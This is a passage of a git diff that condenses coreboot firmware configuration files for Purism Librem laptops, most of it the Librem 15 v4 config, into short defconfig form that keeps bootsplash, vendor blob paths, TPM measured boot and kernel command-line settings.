-CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# -# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set -# CONFIG_DISPLAY_FSP_HEADER is not set -# CONFIG_VERIFY_HOBS is not set -# CONFIG_DISPLAY_FSP_VERSION_INFO is not set -CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y -# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -CONFIG_HAVE_DEBUG_GPIO=y -# CONFIG_DEBUG_GPIO is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_SPD_READ_BY_WORD=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_GENERIC_GPIO_LIB=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_15v4.config b/config/coreboot-librem_15v4.config index 547eeea2f..c00e3cd88 100644 --- a/config/coreboot-librem_15v4.config +++ b/config/coreboot-librem_15v4.config @@ -1,797 +1,21 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="Librem 15" -CONFIG_MAINBOARD_PART_NUMBER="Librem 15 v4" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="purism/librem_skl" -CONFIG_VGA_BIOS_ID="8086,5916" -CONFIG_DIMM_MAX=1 -CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" -CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="Purism" -CONFIG_CBFS_SIZE=0xe00000 CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 -CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y -CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y -CONFIG_MAX_CPUS=8 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="librem15" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" -CONFIG_DISABLE_HECI1_AT_PRE_BOOT=y -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_USE_PM_ACPI_TIMER=y -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0x40000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/me.bin" -CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 15 v4" -# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set CONFIG_HAVE_IFD_BIN=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_14 is not set -# CONFIG_BOARD_PURISM_LIBREM_11 is not set -# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set CONFIG_BOARD_PURISM_LIBREM15_V4=y -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x01000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" -CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" -CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT_SIZE=0x0 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IFD_CHIPSET="sklkbl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_ROOT_PORTS=24 -CONFIG_PCR_BASE_ADDRESS=0xfd000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=24000000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=2 -CONFIG_SOC_INTEL_I2C_DEV_MAX=6 -# CONFIG_ENABLE_SATA_TEST_MODE is not set -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/KabylakeFspBinPkg/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/KabylakeFspBinPkg/Fsp.fd" -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_MAX_HECI_DEVICES=5 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y -CONFIG_SOC_INTEL_KABYLAKE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM_ENHANCED=y -# CONFIG_USE_INTEL_FSP_MP_INIT is not set -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -CONFIG_HAVE_HYPERTHREADING=y -CONFIG_FSP_HYPERTHREADING=y -# CONFIG_INTEL_KEYLOCKER is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PCR=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PADCFG_PADTOL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_DISCOVERABLE=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SGX=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_LOCK_MEMORY=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_SA_ENABLE_DPR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# -CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -# CONFIG_MMA is not set -CONFIG_SOC_INTEL_COMMON_NHLT=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_kbl/cpu_microcode_blob.bin" - -# -# Northbridge -# - -# -# Southbridge -# -# CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_UDK_BASE=y -CONFIG_UDK_2017_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_VERSION=2017 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_RUN_FSP_GOP is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_SMMSTORE is not set 